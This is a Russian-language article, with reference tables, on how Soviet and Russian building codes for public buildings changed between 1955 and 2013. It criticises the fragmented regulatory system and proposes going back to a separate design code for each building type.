| 7 | Пособие к СНиП 2.08.02-89 | Проектирование спортивных залов, помещений для физкультурно-оздоровительных занятий и крытых катков с искусственным льдом | |
| 8 | Пособие к СНиП 2.08.02-89 | Проектирование предприятий бытового обслуживания населения | |
| 9 | Пособие к СНиП 2.08.02-89 | Проектирование высших учебных заведений и институтов повышения квалификации | |
| 10 | Пособие к СНиП 2.08.02-89 | Проектирование предприятий розничной торговли | |
| 11 | Пособие к СНиП 2.08.02-89 | Проектирование детских дошкольных учреждений | |
| 12 | Пособие к СНиП 2.08.02-89 | Проектирование профессионально-технических, средних специальных учебных заведений и учебных комбинатов | |
| 13 | Пособие к СНиП 2.08.02-89 | Проектирование предприятий общественного питания | |
| 14 | Пособие к СНиП 2.08.02-89 | Проектирование предприятий бытового обслуживания населения | |
Система классификации 2009-2013 | |||
| 1 | СНиП 31-06-2009 (41стр.) | Общественные здания и сооружения (взамен СНиП 2.08.02-89) | |
| 2 | СП 118.13330.2012 (77 стр.) | Общественные здания и сооружения (взамен СП 31-06-2009, вступает в силу с 1 января 2013г.) | |
Таблица 3
ВСН в развитие Системы 1985-х (Госгражданстрой) | ||
| 1 | ВСН 50-86 | Общеобразовательные школы и школы-интернаты. Нормы проектирования (взамен СНиП II-65-73) |
| 2 | ВСН 51-86 | Профессионально-технические, средние специальные и высшие учебные заведения. Нормы проектирования (вышел впервые с 1955г.) |
| 3 | ВСН 49-86 | Детские дошкольные учреждения. Нормы проектирования (взамен СНиП II-64-80, СН 540-81) |
| 4 | ВСН 46-86 | Спортивные и физкультурно-оздоровительные сооружения. Нормы проектирования (взамен СНиП II-76-78) |
| 5 | ВСН 45-86 | Культурно-зрелищные учреждения. Нормы проектирования (взамен СНиП II-73-76) |
| 6 | ВСН 54-87 | Предприятия розничной торговли. Нормы проектирования (вышел впервые с 1955г.) |
| 7 | ВСН-АВ-ПАС-94 | Автовокзалы и пассажирские автостанции (взамен Пособия по проектированию «Автовокзалы и пассажирские автостанции») |
ВСН до системы 1985-х (Госгражданстрой) | ||
| 1 | ВСН 17-73 | Указания по проектированию зданий и помещений библиотек |
| 2 | ВСН 7-71 | Временные указания по проектированию пунктов по приему вторичного сырья |
| 3 | ВСН 28-76 | Инструкция по проектированию дошкольных учреждений для детей с нарушением физического и умственного развития |
| 4 | ВСН 27-76 | Временная инструкция по проектированию зданий административных учреждений, проектных и проектно-изыскательских организаций |
| 5 | ВСН 12-73 | Временные указания по проектированию общежитий, размещаемых в инвентарных зданиях |
| 6 | ВСН 34-77 | Временная инструкция по проектированию инвентарных общественных зданий |
| 7 | ВСН 2-71 | Указания по проектированию сети физкультурно-спортивных сооружений городов и поселков городского типа |
| 8 | ВСН 13-73 | Указания по проектированию профилакториев *к документу разработаны- Рекомендации по проектированию санаториев-профилакториев |
| 9 | ВСН 16-73 | Указания по проектированию сети физкультурно-спортивных сооружений для сельских населенных пунктов |
| 10 | ВСН 31-77 | Инструкция по проектированию санаторных пионерских лагерей |
| 11 | ВСН 6-71 | Указания по проектированию сооружений для стрелкового спорта (тиров и стрельбищ) |
| 12 | ВСН 3-71 | Указания по проектированию лыжных баз (трасс, трамплинов и зданий) |
Таблица 4
СН до 1985-х (Госгражданстрой) | ||
| 1 | СН 402-69 | Указания по проектированию зданий общеобразовательных школ и школ интернатов для сельских населенных пунктов |
| 2 | СН 400-69 | Временные указания по проектированию зданий административных учреждений и проектных организаций. |
| 3 | СН 404-69 | Указания по проектированию гостиниц для сельских населенных пунктов |
| 4 | СН 426-71 | Временные указания по проектированию зданий и помещений архивов |
| 5 | СН 276-74 | Инструкция по проектированию бытовых зданий и помещений строительно-монтажных организаций |
| 6 | СН 495-77 | Инструкция по проектированию зданий научно-исследовательских учреждений |
| 7 | СН 512-78 | Инструкция по проектированию зданий и помещений для электронно-вычислительных машин |
| 8 | СН 515-79 | Инструкция по проектированию зданий и сооружений, приспосабливаемых под лечебные учреждения |
| 9 | СН 532-81 | Инструкция по проектированию психоневрологических интернатов |
| 10 | СН 535-81 | Инструкция по проектированию санитарно-эпидемиологических станций |
| 11 | СН 548-82 | Инструкция по проектированию библиотек |
| 12 | СН 426-82 | Инструкция по проектированию архивов |
Таблица 5
Иные добровольные нормативные документы по общественным зданиям (в том числе нормы технологического проектирование) | ||
| 1 | Приказ Федерального агентства по туризму (Ростуризм) от 21 июля 2005 № 86 | Система классификации гостиниц и других средств размещения. |
| 2 | Приказ Министерства спорта, туризма и молодежной политики Российской Федерации от 25 января 2011 г. N 35 | «Об утверждении порядка классификации объектов туристской индустрии, включающих гостиницы и иные средства размещения, горнолыжные базы, пляжи. |
| 3 | Приказ Минздравсоцразвития России | Приказом Минздравсоцразвития России от 27 июля 2010 года N 553н Об утверждении видов аптечных организаций |
| 4 | НТП-АПК 1.10.04.003-03 | Нормы технологического проектирования конноспортивных комплексов |
| 5 | ВНТП 311-98 | Объекты почтовой связи |
| 6 | МДС 31-10.2004 | Рекомендации по планировке и содержанию зданий, сооружений и комплексов похоронного назначения |
| 7 | МДС 32-1.2000 | Рекомендации по проектированию вокзалов |
| 8 | МДС 31-3.2000 | Методические рекомендации по проектированию зданий прокуратур |
| 9 | СП 44.13330.2011, СНиП 2.09.04-87* | Актуализированная редакция Административные и бытовые здания |
| 10 | ПРОЕКТ свода правил | Перинатальные центры, родильные дома. Требования пожарной безопасности. (Разработчик: МЧС России) |
| 11 | ПРОЕКТ свода правил | Проектирование зданий медицинских учреждений. (Разработчик: Минрегион) |
| 12 | СП 31-112-2004 | Физкультурно-спортивные залы. Часть 1 |
| 13 | СП 31-112-2004 | Физкультурно-спортивные залы. Часть 2 |
| 14 | СП 31-112-2007 | Физкультурно-спортивные залы. Часть 3. Крытые ледовые арены |
| 15 | СП 31-113-2004 | Бассейны для плавания |
| 16 | СП 31-115-2006 | Открытые физкультурно-спортивные сооружения. Часть 1. Плоскостные физкультурно-спортивные сооружения |
| 17 | СП 31-112-2007 | Физкультурно-спортивные залы. Часть 3. Крытые ледовые арены |
| 18 | СП 31-115-2008 | Открытые физкультурно-спортивные сооружения. Часть 3. Лыжные виды спорта |
| 19 | СП 31-115-2008 | Открытые физкультурно-спортивные сооружения. Часть 4. Экстремальные виды спорта |
| 20 | ПРОЕКТ свода правил | Здания судов общей юрисдикции |
| 21 | СП 31-109-2003 | Здания арбитражных судов |
| 22 | СП 35-107-2003 | Здания учреждений временного пребывания лиц без определенного места жительства |
| 23 | СП 31-103-99 | Здания, сооружения и комплексы православных храмов |
| 24 | СП 35-109-2005 | Помещения для досуговой и физкультурно-оздоровительной деятельности пожилых людей |
| 25 | СП 35-113-2004 | Геронтологические центры. Дома сестринского ухода. Хосписы |
| 26 | СП 35-110-2004 | Отделения гериатрического обслуживания населения по месту жительства |
| 27 | СП 35-112-2005 | Дома-интернаты |
| 28 | СП 35-117-2006 | Дома-интернаты для детей-инвалидов |
Таблица 6
| СанПиНы по общественным зданиям | ||
| 1 | ВМР 2.1.3.2365-08 | Временные методические рекомендации по размещению, устройству и оборудованию центров высоких медицинских технологий |
| 2 | СанПиН 2.4.2.2842-11 | Санитарно-эпидемиологические требования к устройству, содержанию и организации работы лагерей труда и отдыха для подростков |
| 3 | СанПиН 2.4.2.2843-11 | Санитарно-эпидемиологические требования к устройству, содержанию и организации работы детских санаториев |
| 4 | СанПиН 2.4.2.2821-10 | Санитарно-эпидемиологические требования к условиям и организации обучения в общеобразовательных учреждениях |
| 5 | СанПиН 2.4.1.2660-10 | Санитарно-эпидемиологические требования к устройству, содержанию и организации режима работы в дошкольных организациях |
| 6 | СанПиН 2.1.2.2646-10 | Санитарно-эпидемиологические требования к устройству, оборудованию, содержанию и режиму работы прачечных |
| 7 | СанПиН 2.1.2.2631-10 | Санитарно-эпидемиологические требования к размещению, устройству, оборудованию, содержанию и режиму работы организаций коммунально-бытового назначения, оказывающих парикмахерские и косметические услуги |
| 8 | СанПиН 2.1.3.2630-10 | Санитарно-эпидемиологические требования к организациям, осуществляющим медицинскую деятельность |
| 9 | СанПиН 2.4.4.2605-10 | Санитарно-эпидемиологические требования к устройству, содержанию и организации режима работы детских туристических лагерей палаточного типа в период летних каникул |
| 10 | СанПиН 2.4.5.2409-08 | Санитарно-эпидемиологические требования к организации питания обучающихся в общеобразовательных учреждениях, учреждениях начального и среднего профессионального образования |
| 11 | СанПиН 2.4.4.1251-03 | Санитарно-эпидемиологические требования к учреждениям дополнительного образования детей (внешкольные учреждения |
| 12 | СанПиН 2.4.3.1186-03 | Санитарно-эпидемиологические требования к организации учебно-производственного процесса в образовательных учреждениях начального профессионального образования |
| 13 | СанПиН 982-72 | Санитарные правила устройства, оборудования и содержания бань |
| 14 | СанПиН 983-72 | Санитарные правила устройства и содержания общественных уборных |
| * Перечень нормативных документов: Санитарно-эпидемиологических требований и Санитарных правила по общественным зданиям не так велик – но даже здесь встречаются противоречия с нормами пожарной безопасности, а также с объемно-планировочными решениями. | ||
Таблица 7
| Территориальные нормативные документы* по общественным зданиям | ||
| 1 | МГСН 4.16-98 | Гостиницы. г. Москва |
| 2 | РМД 31-03-2008 | Рекомендации по проектированию зданий гостиничных предприятий, мотелей и кемпингов в Санкт-Петербурге |
| 3 | ОСТ 91500.05.0007-2003 | Аптеки |
| 4 | МУ 2.1.3.005-01 | Методические указания устройства, оборудования и эксплуатации аптечных учреждений |
| 5 | МГСН 4.05-95 | Школы-интернаты для детей-инвалидов |
| 6 | МГСН 4.15-98 | Общеобразовательные учреждения для детей-сирот |
| 7 | Пособие к МГСН 4.05-95 | Школы-интернаты для детей-инвалидов |
| 8 | Пособие к МГСН 4.06-03 | Выпуск 1 Общеобразовательные школы I, II и III степени обучения, лицеи, гимназии |
| 9 | Пособие к МГСН 4.06-03 | Выпуск 2 Старшие профильные школы |
| 10 | Пособие к МГСН 4.07-05 | Дошкольные образовательные учреждения |
| *Перечень территориальных нормативных документов и рекомендаций по общественным зданиям достаточно велик. | ||
Таблица 8
| Система Нормалей по общественным зданиям (НП) | |
| 1 | Нормали (НП):
Представленный список неполный, но этого достаточно для того, чтобы оценить утраченный пласт справочных документов для Архитекторов и Технологов. (Несмотря на то, что статус некоторых из них – действующий- принципы (идеология) заметно устарела) |
Таблица 9
Рекомендации, Руководства, Инструкции, Методические рекомендации, Временные указания по Общественным Зданиям | ||||
| 1 | Рекомендации (ЦНИИЭП Лечебно-курортных зданий Госгражданстроя при Госстрое СССР) | Рекомендации по проектированию бальнеологических комплексов в условиях реконструкции сложившихся курортов. 1977г. | ||
| 2 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов) | Руководство по проектированию учреждений автотуризма. 1980г. | ||
| 3 | Рекомендации (ЦНИИЭП учебных зданий) | Рекомендации по проектированию домов-интернатов для умственно отсталых детей. 1980г. | ||
| 4 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов) | Руководство по проектированию лагерей школьников с творческим воспитанием.1981г. | ||
| 5 | Рекомендации (ЦНИИЭП зрелищных зданий и спортивных сооружений) | Рекомендации по проектированию зданий и помещений для учреждений и подразделений Государственной системы научно-технической информации. 1981 | ||
| 6 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов) | Руководство по проектированию баз отдыха предприятий. 1982г. | ||
| 7 | Рекомендации (ЦНИИЭП учебных зданий Госгражданстроя ) | Рекомендации по проектированию зданий детских школ искусств. 1984 г. | ||
| 8 | Рекомендации (ЦНИИЭП учебных зданий Госгражданстроя ) | Рекомендации по проектированию межшкольных учебно-производственных комбинатов (УПК) городского типа. 1984 г. | ||
| 9 | Рекомендации (НИЛЭП ОИСИ) | Рекомендации по проектированию санаториев для родителей с детьми. 1984г. | ||
| 10 | Рекомендации (ЦНИИЭП зрелищных зданий и спортивных сооружений им. Б.С. Мезенцева Госгражданстроя) | Методические рекомендации по проектированию сети физкультурно-спортивных сооружений загородной зоны.1984г. | ||
| 11 | Рекомендации (ЦНИИЭП Госгражданстрой) | Рекомендации по проектированию внешкольных учреждений — Домов пионеров и школьников (ДПШ), станций юных техников (СЮТ) и станций юных натуралистов (СЮН). 1984г. | ||
| 12 | Рекомендации (НИЛЭП ОИСИ) | Рекомендации по проектированию водных лечебно-оздоровительных комплексов в приморских рекреационных зонах. 1984г. | ||
| 13 | Рекомендации (ЦНИИЭП учебных зданий Госгражданстроя ) | Рекомендации по проектированию комплексов общественных центров поселков городского типа 1984г. | ||
| 14 | Рекомендации (ЦНИИЭП курортно-туристических зданий и комплексов) | Рекомендации по проектированию санаториев-профилакториев.1987 г. | ||
| 15 | Рекомендации (ЦНИИЭП им. Б.С. Мезенцева) | Рекомендации по проектированию музеев. 1988г. | ||
| 16 | Рекомендации (НТС ЦНИИЭП им.Мезенцева) | Рекомендации по проектированию комплексов общественного обслуживания. 1989г. | ||
| 17 | Рекомендации (НТС ЦНИИЭП курортно-туристических зданий и комплексов) | Рекомендации по проектированию лагерей труда и отдыха для старшеклассников в различных регионах страны. 1989г. | ||
| 18 | Рекомендации (ЦНИИЭП жилища) | Рекомендации по проектированию детских домов семейного типа 1990г | ||
| 19 | Рекомендации (ГУП НИАЦ) | Рекомендации по проектированию домов сестринского ухода. 1997г. | ||
| 20 | Рекомендации | Рекомендации по реконструкции и модернизации зданий дошкольных учреждений 1997г. | ||
| 21 | Рекомендации | Рекомендации по проектированию поликлиник восстановительного лечения 2001г. | ||
| 22 | Рекомендации | Рекомендации по проектированию образовательных учреждений для детей, нуждающихся в психолого-педагогической и медико-социальной помощи 2000г. | ||
| 23 | Рекомендации | Рекомендации по реконструкции и модернизации существующего фонда школьных зданий в соответствии с современными педагогическими требованиями 1997г. | ||
| 24 | Рекомендации | Рекомендации по проектированию сети и зданий детских внешкольных учреждений для г. Москвы. Выпуск 1 Детские музыкальные школы и школы искусств 1996г. | ||
| 25 | Рекомендации | Рекомендации по проектированию поликлиник восстановительного лечения 2001г. | ||
| 26 | Рекомендации | Рекомендации по развитию и реконструкции сети объектов образования (учреждений дошкольного образования) 2001г. | ||
| 27 | Рекомендации | Рекомендации по реконструкции и модернизации сети и зданий амбулаторно-поликлинических учреждений 1999г. | ||
| 28 | Рекомендации | Рекомендации по проектированию центров реабилитации инвалидов 1999г. | ||
| 29 | Рекомендации | Рекомендации по проектированию сети и зданий детских внешкольных учреждений для г. Москвы. Выпуск 2. Центры детского творчества 1997г. | ||
| 30 | Рекомендации |
| ||
| 31 | Рекомендации | Рекомендации по проектированию учреждений профессиональной реабилитации инвалидов 1999г. | ||
| 32 | Рекомендации | Рекомендации по проектированию социальных приютов для детей и подростков | ||
| 33 | Рекомендации | Рекомендации по проектированию межрайонных центров по профилактике безнадзорности, преступности, алкоголизма, наркомании и СПИДА среди несовершеннолетних 2002 г. | ||
| 34 | Рекомендации | Рекомендации по проектированию специальных учебно-воспитательных учреждений закрытого типа для детей и подростков с девиантным поведением. Выпуск 1. Специальная общеобразовательная школа закрытого типа для детей и подростков с девиантным поведением 2002 г. | ||
| 35 | Рекомендации | Рекомендации по проектированию специальных учебно-воспитательных учреждений открытого типа для детей и подростков с девиантным поведением 2002г. | ||
| 36 | Рекомендации | Рекомендации по проектированию кризисных центров для женщин 2003г. | ||
| 37 | Рекомендации | Рекомендации по проектированию образовательных школ для больных детей и детей-инвалидов (школ надомного обучения) 2001г. | ||
| 38 | Рекомендации | Рекомендации по проектированию государственных учреждений по ведению социально-воспитательной и досуговой работы с детьми, подростками и молодежью по месту жительства 2003г. | ||
| 39 | Рекомендации | Рекомендации по проектированию нового поколения блоков-пристроек к существующим зданиям общеобразовательных школ 2003г. | ||
| 40 | Рекомендации | Рекомендации по проектированию социально-реабилитационных центров для несовершеннолетних 2004г. | ||
| 41 | Рекомендации | Рекомендации по проектированию концертных залов. 2004г. | ||
| 42 | Рекомендации | Рекомендации по проектированию специальных профессиональных училищ открытого типа для подростков с девиантным поведением. 2004г. | ||
| 43 | Рекомендации | Рекомендации по проектированию физкультурно-спортивных сооружений социально-гарантированного обслуживания населения г. Москвы 2004г. | ||
| 44 | Рекомендации | Рекомендации по проектированию детско-юношеских спортивных школ развивающихся и нетрадиционных видов спорта 2004г. | ||
| 45 | Рекомендации | Рекомендации по проектированию специальных учебно-воспитательных учреждений закрытого типа для детей и подростков с девиантным поведением. Выпуск 3. Специальное (коррекционное) учебно-воспитательное учреждение для детей и подростков с отклонениями в развитии, совершивших общественно опасные деяния. 2004г. | ||
| 46 | Рекомендации | Рекомендации по проектированию центров социальной помощи семье и детям 2005г. | ||
| 47 | Рекомендации | Рекомендации по проектированию комплексных центров социального обслуживания. 2005г. | ||
| 48 | Рекомендации | Рекомендации по проектированию детских домов для детей-сирот и детей, оставшихся без попечения родителей. 2005г. | ||
| 49 | Рекомендации | Рекомендации по развитию и реконструкции сети объектов образования (общеобразовательные школы) 2005г. | ||
| 50 | Рекомендации | Рекомендации по реконструкции зданий школ и дошкольных учреждений в районах комплексной реконструкции пятиэтажных жилых домов первого периода индустриального домостроения. 2001г. | ||
| 51 | Рекомендации | Рекомендации по проектированию домов милосердия для инвалидов среднего и старшего возраста. 2003г. | ||
| 52 | Рекомендации | Рекомендации по проектированию специальных учебно-воспитательных учреждений закрытого типа для детей и подростков с девиантным поведением. Выпуск 2. Специальное ПУ (профессиональное училище) закрытого типа для подростков с девиантным поведением. 2003г. | ||
| 53 | Рекомендации | Рекомендации по проектированию учреждений начального и среднего профессионального образования. Выпуск 1. Общие требования. Общие и общеобразовательные помещения. 2006г. | ||
| 54 | Рекомендации | Рекомендации по проектированию специализированных (коррекционных) детских домов для детей-сирот и детей, оставшихся без попечения родителей. 2006г. | ||
| 55 | Рекомендации | Рекомендации по проектированию учреждений (отделений) восстановительного лечения и долечивания. 2006г. | ||
| 56 | Временные указания | Временные указания по составлению перспективных планов развития сети предприятий бытового обслуживания населения. 1977г. | ||
| 57 | Пособие (ЦНИИЭП курортно-туристических зданий и комплексов) | Пособие по проектированию учреждений отдыха для подростков в пригородной зоне. 1982г. | ||
| 58 | Пособие (ЦНИИЭП зрелищных зданий и спортивных сооружений им. Б.С. Мезенцева Госгражданстроя) | Пособие по проектированию сети физкультурно-спортивных сооружений городов разной величины. 1980 г. | ||
| 59 | Методика (ЦНИИЭП учебных зданий Госгражданстроя) | Методика расчета сети и состава основных помещений зданий для технического творчества школьников. 1983г. | ||
| 60 | Рекомендации (ЦНИИЭП учебных зданий Госгражданстроя) | Рекомендации по проектированию учебно- производственных комбинатов и мастерских для учащихся сельских общеобразовательных школ. 1986г. | ||
| 61 | Руководство (ЦНИИПромзданий Госстроя СССР) | Руководство по проектированию вспомогательных зданий и помещений промышленных предприятий. 1982г. | ||
| 62 | Рекомендации (НИЛЭП ОИСИ) | Рекомендации по проектированию водных лечебно-оздоровительных комплексов в приморских зонах. 1984г. | ||
| 63 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов Госгражданстроя) | Руководство по проектированию санаториев. 1980г. | ||
| 64 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов Госгражданстроя) | Руководство по проектированию лагерей школьников с творческим воспитанием.1981 г. | ||
| 65 | Руководство (ЦНИИЭП курортно-туристических зданий и комплексов Госгражданстроя) | Руководство по проектированию баз отдыха предприятий. 1982г. | ||
| 66 | Руководство (ЦНИИЭП лечебно-курортных зданий Госгражданстроя) | Руководство по проектированию учреждений водного туризма. 1979г. | ||
|
После Октябрьской революции в 20-х годах прошлого века было сделано несколько попыток приспособить «Урочное положение» к новым условиям, а затем проведён коренной его пересмотр и издан новый по форме и содержанию нормативный сборник – «Свод производственных строительных норм» (1927 – 1930). Первые утвержденные нормы по проектированию как обязательные для строительства относятся к 1930г.: «Единые нормы строительного проектирования». Они устанавливали правила составления проектов, нормы проектирования жилищных, санитарных, лечебных, школьно-просветительных, общественных, сельскохозяйственных, производственных, административных и торговых зданий и сооружений и содержали расчетные нагрузки, нормы расчета зданий и сооружений, отопительных установок, нормы проектирования конструкций из камня, дерева, металла, бетона и железобетона, оснований и фундаментов гражданских и производственных зданий промышленных предприятий. В 1936 г. были введены в действие Нормы по промышленному строительству, состоявшие из трех разделов: Правила составления чертежей, Общестроительные расчетные нормы, Санитарно-технические нормы. В 1939 г. Комитетом по делам строительства при СНК СССР утверждены и введены в действие новые «Санитарные нормы и правила строительного проектирования промышленных предприятий» и «Общесоюзные противопожарные нормы строительного проектирования промышленных предприятий». 1955 год ознаменован вступлением в силу первых Строительных норм и правил (далее СНиП). Первые СНиПы были изданы 1954 г., и были довольно объемные по содержанию, а количество страниц достигало четырехсот. Структура СНиПов предусматривала четыре части:
Каждая часть разделена на отдельные разделы, а те в свою очередь на главы и параграфы. По мере проведения научных исследований в области строительства, наращивания опыта проектирования, возведения и эксплуатации зданий — пересматриваются отдельные главы СНиПов. В государстве впервые начинает проводиться единая система технической политики нормативного регулирования см. Таблицу 1. Подробнее предлагаю остановиться на нормативных документах для общественных зданий. В 1962г. Госстрой СССР принимает решение о разделении СНиП II на отдельные СНиПы по основным группам зданий. Идет заметное увеличение издания нормативных документов — их количество ориентировочно достигает 20 отдельных СНиПов в период с 1962-1972 годы см. Таблицу 2. В 1985 происходит объединение общественных зданий в единый нормативный документ — СНиП 2.08.02-85 «Общественные здания и сооружения», и выходит Пособие к СНиП 2.08.02-85 «Пособие по проектированию общественных зданий и сооружений». Так же часть документов переведены в статус ВСН см. Таблицу 3. Но уже в 1987-1989 гг. идет увеличение количества документов (Пособия к СНиП, ВСНы, ТСНы, СанПиНы) в дополнение к СНиП 2.08.02-89. Причиной этому, очевидно, послужил недостаток информации в усеченном СНиПе. И делается это вновь по типам общественных зданий: театры, клубы, бассейны, учебные комплексы и центры, предприятия бытового обслуживания населения, спортивные залы и т.д. По сути же, это повторение «старой» системы СНиПов, только в других названиях нормативов см. Таблицы 4, 5, 6, 7, 8, 9. В 2003 г. выходит СНиП 31-05-2003 «Общественные здания административного назначения». С 1 января 2010 года вводится в действие СНиП 31-06-2009 «Общественные здания и сооружения» — актуализированная редакция СНиП 2.08.02-89. В СНиП 31-06-2009 появляется запись: «С введением в действие СНиП 31-06 справочные пособия к СНиП 2.08.02-89* отменяются». Стоит упомянуть и о попытке развить Своды правил (СП) добровольного применения, Территориальные строительные нормы (ТСН), которые пришли на смену, а частично в развитие Пособиям. Например:
Приказ от 21 июля 2005 № 86 Федерального агентства по туризму «Система классификации гостиниц и других средств размещения». К сожалению, часть объемно-планировочных требований неоправданно перемещена в СанПиНы, что только усугубило некоторые решения по детским дошкольным учреждениям, школам, объектам здравоохранения. Сегодня не существует единого координирующего центра или межведомственного регламента, который должен решить вопросы по согласованию нормативных документов, на предмет дублирования или противоречащих требований. В сложившемся бардаке нормативно технического регулирования в строительстве — проектировщик выступает в роли заложника, при принятии ответственных решений. Взять к примеру, требования пожарной безопасности, прописанные в актуализированных СНиПах (СП). Не понятно — почему документы, которые содержат требования пожарной безопасности, не согласовываются (как это требует статья 20, 69-ФЗ «О пожарной безопасности») с МЧС России (являющимся согласно Указа Президента Российской Федерации от 11.07.2004 г № 868 Федеральным органом исполнительной власти, уполномоченным на решение задач в области пожарной безопасности). Необходимо ввести вновь запись в начале нормативного документа с какими органами исполнительной власти, ведомствами, агентствами согласована редакция. Это позволит в целом качественно улучшить вновь пересматриваемую нормативную базу документов. Отдельно рассмотрим обновленную структуру содержания СП 118.13330.2012: предлагаю начать обсуждение с Раздела 5 Оптимальные безопасные параметры основных помещений. Почему именно с него? Дело в том, что с него начинаются требования к различным типам зданий, которые перечислены друг за другом. Из всех этих требований сформированных в один раздел, трудно ориентироваться по типам общественных зданий. Предложение при очередном внесении изменений в СП 118.13330 — выполнить подразделы по типам зданий для предметного изучения конкретного раздела. Сейчас приходиться пересматривать целый раздел для уточнения какой-нибудь детали по конкретному типу зданий. Ещё в период 60-х — 95-х разрабатывались Нормали, которые служили наглядным пособием по проектированию и издавались отдельными выпусками по классификации зданий: гостиницы, школы, больницы лечебные здания и др. Нормали вносили типологические разъяснения или вариантность решений при проектировании зданий. За период, с 1955 года по 2013 год произошла значительная трансформация СНиПов. Значительно сократилось количество нормативных документов по отдельным типам общественных зданий. На 1 января 2013 года проектное сообщество имеет один единственный нормативный документ по общественным зданиям – это СП 118.13330.2012 «Общественные здания и сооружения». До сих пор некоторые типы общественных зданий не имеют норм проектирования, изложенных в СНиПах (Сводах правил): зоопарки (крытые или открытые), здания цирков, здания аквапарков и т.д. В период становления системы нормативного технического регулирования утрачены ряд документов без замены, регулирующие требования к определенным помещениям или функциональному размещению групп этих помещений. К ним можно отнести указания по проектированию сооружений для стрелкового спорта тиров и стрельбищ, зданий музеев и т.д. Очевидно, назрела необходимость еще раз проанализировать СП 118.13330.2012, Приложение В (справочное) Перечень основных функционально-типологических групп зданий и помещений общественного назначения на предмет того, в состоянии ли сегодня один единственный СП 118.13330.2012- удовлетворить минимально необходимые требования предъявляемые к изложенному перечню зданий и помещений. Если нет, то необходимо обозначить эту проблему как минимум на уровне федеральных органов исполнительной власти. Сегодня требования всех типов зданий и сооружений общественного назначения изложены на 77 страницах. СП 118.13330 урезан до такой степени, что больше напоминает документ, описывающий самые общие требования общественных зданий, без необходимых специфических особенностей. По некоторым общественным зданиям можно встретить в тексте одно или несколько упоминаний об искомом типе здания или помещения. Тенденция по укрупнению нормативных документов общественных зданий привела к разложению системы. И это тогда, когда необходимо при развитии инфраструктуры городов проектировать современные объекты капитального строительства. Подведомственные институты министерств, профильные ведомства, органы исполнительной власти разрабатывают нормативные документы без согласованию между собой. Продуктом их не системной деятельности явились: ОСТы, Приказы профильных министерств, СанПиНы (не согласованные с СНиП), РМД и т.д., которые лишь усугубили ситуацию по ориентации и обновлению нормативно-технической базы. Считаю, что «система 60-х» была наиболее логичной, когда объекты общественных зданий были выделены в отдельные нормативные документы, в полной мере раскрывающие особенности проектирования данного конкретного типа общественного здания. Предложение вернуться к системе профильных нормативных документов по типам общественных зданий. Основная идея этого варианта — принцип единого нормативного документа для каждого типа здания. Нормативный документ должен содержать всё необходимое (все – объемно-планировочные требования, пожарные, санитарные, требования по доступности МГН, и т.д.) для проектирования данного типа здания, где на первой странице будет запись о согласовании со всеми необходимыми органами. Все остальные документы необходимо отменить или оставить за скобками обязательных документов. Все нормативные документы (а также будущие изменения) должны проходить через единый координирующий центр, который и несет ответственность за конечный результат. Подготовил: Блиндер А.Е. Приложение Формирование структуры нормативных документов общественных зданий (1955-2013 г.) Таблица 1 Система первой классификации Общественных зданий (1955 г.)
Таблица 2 Система классификации 1962-х
Система классификации 1972-х…1980-х
Система классификации 1985-х
Система классификации 1989-х
Система классификации 2009-2013
Таблица 3 ВСН в развитие Системы 1985-х (Госгражданстрой)
ВСН до системы 1985-х (Госгражданстрой)
Таблица 4 СН до 1985-х (Госгражданстрой)
Таблица 5 Иные добровольные нормативные документы по общественным зданиям (в том числе нормы технологического проектирование)
Таблица 6 СанПиНы по общественным зданиям
* Перечень нормативных документов: Санитарно-эпидемиологических требований и Санитарных правила по общественным зданиям не так велик – но даже здесь встречаются противоречия с нормами пожарной безопасности, а также с объемно-планировочными решениями. Таблица 7 Территориальные нормативные документы* по общественным зданиям
*Перечень территориальных нормативных документов и рекомендаций по общественным зданиям достаточно велик. Таблица 8 Система Нормалей по общественным зданиям (НП) Нормали (НП):
Представленный список неполный, но этого достаточно для того, чтобы оценить утраченный пласт справочных документов для Архитекторов и Технологов. (Несмотря на то, что статус некоторых из них – действующий- принципы (идеология) заметно устарела) Таблица 9 Рекомендации, Руководства, Инструкции, Методические рекомендации, Временные указания по Общественным Зданиям
Просмотров статьи: 11438 с 15.07.2013 Ознакомиться с изданиями из категории «NormaCS» |
| ВСП 12-04-03 | Правила производства монтажа, наладки и приемки в эксплуатацию автоматических установок газового пожаротушения и пожарной сигнализации объектов военной инфраструктуры Вооруженных Сил Российской Федерации |
| ВСП 21-03-03 | Инструкция по проведению огневых испытаний противопожарных дверей, люков и ворот, предназначенных для заполнения проемов в противопожарных преградах объектов, проектируемых по ведомственным нормам МО РФ |
| ВСП 21-07-07 | Инструкция по определению зданий, сооружений, помещений и оборудования объектов военной инфраструктуры Вооруженных Сил Российской Федерации, подлежащих оборудованию автоматическими установками пожарной сигнализации, пожаротушения системами оповещения и управления эвакуацией людей при пожаре |
| ВСП 22-02-07 | Нормы по проектированию, устройству и эксплуатации молниезащиты объектов военной инфраструктуры (взамен ВСН 22-02-98) |
| СП 1.13130.2009 (с изм. 1 2010) | Системы противопожарной защиты. Эвакуационные пути и выходы |
| СП 2.13130.2012 | Системы противопожарной защиты. Обеспечение огнестойкости объектов защиты |
| СП 3.13130.2009 | Системы противопожарной защиты. Системы оповещения и управления эвакуацией людей при пожаре. Требования пожарной безопасности |
| СП 4.13130.2013 | Системы противопожарной защиты. Ограничение распространения пожара на объектах защиты. Требования к объемно-планировочным и конструктивным решениям |
| СП 5.13130.2009 (с изм. 1 2011) | Системы противопожарной защиты. Установки пожарной сигнализации и пожаротушения автоматические. Нормы и правила проектирования |
| СП 6.13130.2013 | Системы противопожарной защиты. Электрооборудование. Требования пожарной безопасности |
| СП 7.13130.2013 | Отопление, вентиляция и кондиционирование. Требования пожарной безопасности |
| СП 8.13130.2009 (с изм. 1 2010) | Системы противопожарной защиты. Источники наружного противопожарного водоснабжения. Требования пожарной безопасности |
| СП 9.13130.2009 | Техника пожарная. Огнетушители. Требования к эксплуатации |
| СП 10.13130.2009 (с изм. 1 2010) | Системы противопожарной защиты. Внутренний противопожарный водопровод. Требования пожарной безопасности |
| СП 11.13130.2009 (с изм. 1 2010) | Места дислокации подразделений пожарной охраны. Порядок и методика определения |
| СП 12.13130.2009 (с изм. 1 2010) | Определение категорий помещений, зданий и наружных установок по взрывопожарной и пожарной опасности |
| СП 13.13130.2009 | Атомные станции. Требования пожарной безопасности |
